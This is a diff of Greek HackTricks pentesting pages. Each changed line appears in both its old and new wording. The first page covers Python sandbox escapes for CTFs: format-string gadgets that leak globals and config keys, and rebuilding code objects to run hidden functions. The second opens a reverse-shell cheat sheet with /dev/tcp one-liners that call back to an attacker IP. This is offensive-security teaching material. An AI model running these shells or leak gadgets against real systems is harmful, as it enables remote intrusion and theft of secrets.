Σημειώστε πώς μπορείτε να **αποκτήσετε πρόσβαση σε χαρακτηριστικά** με τον κανονικό τρόπο με ένα **τελεία** όπως `people_obj.__init__` και στοιχεία **λεξικού** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]` Σημειώστε πώς μπορείτε **να έχετε πρόσβαση σε γνωρίσματα** με τον κανονικό τρόπο με ένα **τελεία** όπως `people_obj.__init__` και στα **στοιχεία λεξικού** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Επίσης, σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Επίσης, μπορείτε να χρησιμοποιήσετε το `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ορισμένα άλλα ενδιαφέροντα χαρακτηριστικά από τις συμβολοσειρές μορφοποίησης είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα: Κάποια άλλα ενδιαφέροντα χαρακτηριστικά από τις συμβολοσειρές μορφοποίησης είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
@ -873,7 +702,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000()) '{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that. #I'm afraid I can't do that.
``` ```
**Περισσότερα παραδείγματα** για παραδείγματα **μορφοποίησης** **συμβολοσειράς** μπορείτε να βρείτε στην ιστοσελίδα [**https://pyformat.info/**](https://pyformat.info) **Περισσότερα παραδείγματα** σχετικά με παραδείγματα **μορφοποίησης** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %} {% hint style="danger" %}
Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα **διαβάσουν ευαίσθητες πληροφορίες από εσωτερικά αντικείμενα της Python**: Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα **διαβάσουν ευαίσθητες πληροφορίες από εσωτερικά αντικείμενα της Python**:
@ -883,7 +712,7 @@ return 'HAL 9000'
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md) [python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Πληροφορίες Αποκάλυψης Ευαίσθητων Πληροφοριών ### Πληροφορίες Αποκάλυψης Ευαίσθητων Δεδομένων
```python ```python
{whoami.__class__.__dict__} {whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__} {whoami.__globals__[os].__dict__}
@ -894,13 +723,13 @@ return 'HAL 9000'
# Access an element through several links # Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
``` ```
## Ανάλυση Αντικειμένων Python ## Ανάλυση Αντικειμένων σε Python
{% hint style="info" %} {% hint style="info" %}
Εάν θέλετε να **μάθετε** για το **bytecode της Python** λεπτομερώς, διαβάστε αυτήν την **εκπληκτική** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Αν θέλετε να **μάθετε** για το **bytecode της Python** λεπτομερώς, διαβάστε αυτήν την **εκπληκτική** ανάρτηση σχετικά με το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας **προσαρμοσμένης συνάρτησης** όπου βρίσκεται η σημαία και χρειάζεστε να δείτε τα **εσωτερικά** της συνάρτησης για να την εξαγάγετε. Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας **προσαρμοσμένης συνάρτησης** όπου βρίσκεται η σημαία και χρειάζεται να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξάγετε.
Αυτή είναι η συνάρτηση προς επιθεώρηση: Αυτή είναι η συνάρτηση προς επιθεώρηση:
```python ```python
@ -914,31 +743,6 @@ else:
return "Nope" return "Nope"
``` ```
#### dir #### dir
Η συνάρτηση `dir` χρησιμοποιείται για να επιστρέψει μια λίστα με τα ονόματα των στοιχείων σε ένα αντικείμενο. Αυτά τα στοιχεία μπορεί να είναι μεταβλητές, συναρτήσεις, κλάσεις, μέθοδοι κ.λπ. Η συνάρτηση `dir` είναι χρήσιμη για την εξερεύνηση των διαθέσιμων στοιχείων ενός αντικειμένου και την ανάλυση της δομής του.
Σύνταξη:
```python
dir(object)
```
Παράδειγμα:
```python
class MyClass:
def __init__(self):
self.name = "John"
self.age = 30
my_object = MyClass()
print(dir(my_object))
```
Αποτέλεσμα:
```
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'age', 'name']
```
Στο παραπάνω παράδειγμα, η συνάρτηση `dir` επιστρέφει μια λίστα με τα ονόματα των στοιχείων του αντικειμένου `my_object`, που περιλαμβάνει τις μεταβλητές `name` και `age`.
```python ```python
dir() #General dir() to find what we have loaded dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -947,7 +751,7 @@ dir(get_flag) #Get info tof the function
``` ```
#### globals #### globals
`__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγόμενα αρθρώματα, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που έχουν δηλωθεί: `__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγμένα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
```python ```python
get_flag.func_globals get_flag.func_globals
get_flag.__globals__ get_flag.__globals__
@ -956,7 +760,7 @@ get_flag.__globals__
#If you have access to some variable value #If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__ CustomClassObject.__class__.__init__.__globals__
``` ```
[**Δείτε εδώ περισσότερα μέρη για να αποκτήσετε τις globals**](./#globals-and-locals) [**Δείτε εδώ περισσότερα μέρη για να αποκτήσετε τα globals**](./#globals-and-locals)
### **Πρόσβαση στον κώδικα της συνάρτησης** ### **Πρόσβαση στον κώδικα της συνάρτησης**
@ -975,30 +779,6 @@ dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
``` ```
### Λήψη Πληροφοριών Κώδικα ### Λήψη Πληροφοριών Κώδικα
To bypass Python sandboxes, it is important to gather information about the code being executed. This information can help in identifying vulnerabilities and finding ways to exploit them.
#### 1. Inspecting the code
One way to gather code information is by inspecting the source code itself. This can be done by using tools like `inspect` or by reading the code directly. By analyzing the code, you can identify potential security flaws or weak points that can be exploited.
#### 2. Analyzing dependencies
Another important aspect is to analyze the dependencies of the code. This includes libraries, modules, and external packages that the code relies on. By understanding the dependencies, you can identify potential vulnerabilities in these components and exploit them to bypass the sandbox.
#### 3. Identifying entry points
Identifying the entry points of the code is crucial for bypassing the sandbox. Entry points are the parts of the code that are executed first when the program starts. By analyzing the entry points, you can understand the flow of the code and find ways to manipulate it to bypass the sandbox.
#### 4. Examining error messages
Error messages can provide valuable information about the code execution. By examining error messages, you can identify potential vulnerabilities or misconfigurations that can be exploited to bypass the sandbox. Pay attention to any sensitive information or stack traces that might be leaked in the error messages.
#### 5. Monitoring system calls
Monitoring system calls can help in understanding the behavior of the code and identifying any suspicious or malicious activities. Tools like `strace` or `sysdig` can be used to monitor system calls and gather information about the code execution. By analyzing the system calls, you can identify potential vulnerabilities or ways to bypass the sandbox.
By gathering code information through these techniques, you can gain a better understanding of the code being executed and find ways to bypass Python sandboxes.
```python ```python
# Another example # Another example
s = ''' s = '''
@ -1045,26 +825,6 @@ get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
``` ```
### **Αποσυναρμολόγηση μιας συνάρτησης** ### **Αποσυναρμολόγηση μιας συνάρτησης**
To disassemble a function in Python, you can use the `dis` module. This module provides functions to disassemble and inspect Python bytecode. By disassembling a function, you can see the low-level instructions that make up the function's code.
Here's an example of how to disassemble a function using the `dis` module:
```python
import dis
def my_function():
x = 5
y = 10
z = x + y
print(z)
dis.dis(my_function)
```
This will output the disassembled bytecode of the `my_function` function, showing the individual instructions and their corresponding bytecode offsets.
By analyzing the disassembled code, you can gain insights into how the function works and potentially identify any vulnerabilities or weaknesses in the code. Disassembling functions can be particularly useful when bypassing Python sandboxes or analyzing obfuscated code.
```python ```python
import dis import dis
dis.dis(get_flag) dis.dis(get_flag)
@ -1092,7 +852,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
Παρατηρήστε ότι **αν δεν μπορείτε να εισαγάγετε το `dis` στο περιβάλλον εκτέλεσης της Python**, μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το αποσυναρμολογήσετε τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`), αλλά μπορείτε να τις μαντέψετε από το (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` δίνει επίσης τη θέση της μεταβλητής που φορτώνεται. Σημείωση ότι **αν δεν μπορείτε να εισάγετε το `dis` στο περιβάλλον Python** μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσετε** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείτε να τις μαντέψετε από το (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` δείχνει επίσης τη θέση της μεταβλητής που φορτώνεται.
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -1114,10 +874,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0) 44 LOAD_CONST 0 (0)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
## Μεταγλώττιση της Python ## Συναρμολόγηση της Python
Ας υποθέσουμε τώρα ότι καταφέρνετε κάπως να **ανακτήσετε πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να την **εκτελέσετε**.\ Τώρα, ας φανταστούμε ότι μπορείτε κάπως να **ανακτήσετε τις πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να την **εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, μπορείτε **να έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν ξέρετε πώς να υπολογίσετε τη σημαία (_φανταστείτε μια πιο πολύπλοκη συνάρτηση `calc_flag`_). Όπως στο παρακάτω παράδειγμα, **μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν **ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο πολύπλοκη συνάρτηση `calc_flag`_).
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -1132,7 +892,7 @@ return "Nope"
``` ```
### Δημιουργία του αντικειμένου κώδικα ### Δημιουργία του αντικειμένου κώδικα
Καταρχήν, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** έτσι ώστε να μπορούμε να δημιουργήσουμε ένα για να εκτελέσουμε τη διαρρευσμένη συνάρτησή μας: Καταρχάς, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που διέρρευσε:
```python ```python
code_type = type((lambda: None).__code__) code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this # Check the following hint if you get an error in calling this
@ -1152,7 +912,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
{% hint style="info" %} {% hint style="info" %}
Ανάλογα με την έκδοση της Python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να γνωρίζετε τη σειρά των παραμέτρων στην έκδοση της Python που εκτελείτε είναι να εκτελέσετε: Ανάλογα με την έκδοση της Python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση της Python που χρησιμοποιείτε είναι να εκτελέσετε:
``` ```
import types import types
types.CodeType.__doc__ types.CodeType.__doc__
@ -1160,10 +920,10 @@ types.CodeType.__doc__
``` ```
{% endhint %} {% endhint %}
### Αναπαραγωγή μιας διαρρευμένης συνάρτησης ### Αναπαραγωγή μιας διαρρευσμένης συνάρτησης
{% hint style="warning" %} {% hint style="warning" %}
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναπαράγουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για να εκτελέσετε τη συνάρτηση **`code_type`** είναι αυτές που **θα χρειαστείτε να διαρρεύσετε**. Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για την αναπαραγωγή της συνάρτησης απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** που απαιτούνται για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτό που **θα χρειαστείτε να διαρρεύσετε**.
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -1175,13 +935,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag #ThisIsTheFlag
``` ```
### Παράκαμψη Αμυνών ### Αντιστροφή Αμυντικών Μέτρων
Στα προηγούμενα παραδείγματα στην αρχή αυτής της ανάρτησης, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε κώδικα Python χρησιμοποιώντας τη συνάρτηση `compile`**. Αυτό είναι ενδιαφέρον επειδή μπορείτε να **εκτελέσετε ολόκληρα σενάρια** με βρόχους και τα πάντα σε μία **μία γραμμή κώδικα** (και μπορούμε να κάνουμε το ίδιο χρησιμοποιώντας το **`exec`**). Στα προηγούμενα παραδείγματα στην αρχή αυτής της ανάρτησης, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε κώδικα Python χρησιμοποιώντας τη λειτουργία `compile`**. Αυτό είναι ενδιαφέρον επειδή μπορείτε **να εκτελέσετε ολόκληρα σενάρια** με βρόχους και τα πάντα σε μια **γραμμή κώδικα** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας το **`exec`**).\
Πάντως, μερικές φορές θα μπορούσε να είναι χρήσιμο να **δημιουργήσετε** ένα **μεταγλωττισμένο αντικείμενο** σε ένα τοπικό μηχάνημα και να το εκτελέσετε στο **μηχάνημα CTF** (για παράδειγμα επειδή δεν έχουμε τη λειτουργία `compile` στο CTF).
Παρόλα αυτά, μερικές φορές μπορεί να είναι χρήσιμο να **δημιουργήσουμε** ένα **αντικείμενο που έχει μεταγλωττιστεί** σε μία τοπική μηχανή και να το εκτελέσουμε στη **μηχανή CTF** (για παράδειγμα επειδή δεν έχουμε τη συνάρτηση `compile` στη μηχανή CTF). Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει το _./poc.py_:
Για παράδειγμα, ας μεταγλωττίσουμε και να εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει το _./poc.py_:
```python ```python
#Locally #Locally
def read(): def read():
@ -1208,7 +967,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)() function_type(codeobj, mydict, None, None, None)()
``` ```
Εάν δεν μπορείτε να έχετε πρόσβαση στις εντολές `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κανονική συνάρτηση**, αλλά η κλήση της απευθείας συνήθως θα αποτύχει με το μήνυμα: _constructor not accessible in restricted mode_. Επομένως, χρειάζεστε μια **συνάρτηση που δεν βρίσκεται σε περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση**. Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κανονική συνάρτηση**, αλλά η κλήση της απευθείας συνήθως θα αποτύχει με: _constructor not accessible in restricted mode_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση.**
```python ```python
#Compile a regular print #Compile a regular print
ftype = type(lambda: None) ftype = type(lambda: None)
@ -1230,7 +989,7 @@ f(42)
### Assert ### Assert
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που εξαρτάται από την τιμή της **debug**.\ Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
Επομένως, ελέγχοι όπως Επομένως, ελέγχοι όπως
```python ```python
def check_permission(super_user): def check_permission(super_user):
@ -1249,25 +1008,18 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως ιστοσελίδες και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
*** ***
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -2,27 +2,19 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> **Αν έχετε ερωτήσεις σχετικά με οποιοδήποτε από αυτά τα shells μπορείτε να τα ελέγξετε με** [**https://explainshell.com/**](https://explainshell.com)
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
**Αν έχετε ερωτήσεις για οποιοδήποτε από αυτά τα shells, μπορείτε να τα ελέγξετε με το** [**https://explainshell.com/**](https://explainshell.com)
## Full TTY ## Full TTY
@ -41,9 +33,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute #after getting the previous shell to get the output to execute
exec >&0 exec >&0
``` ```
Μην ξεχάσετε να ελέγξετε και άλλα κέλυφα: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash. ### Ασφαλής κέλυφος συμβόλων
### Ασφαλές κέλυφος συμβόλων Μην ξεχνάτε να ελέγχετε και με άλλα κέλυφα: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
```bash ```bash
#If you need a more stable connection do: #If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1' bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -52,32 +44,32 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
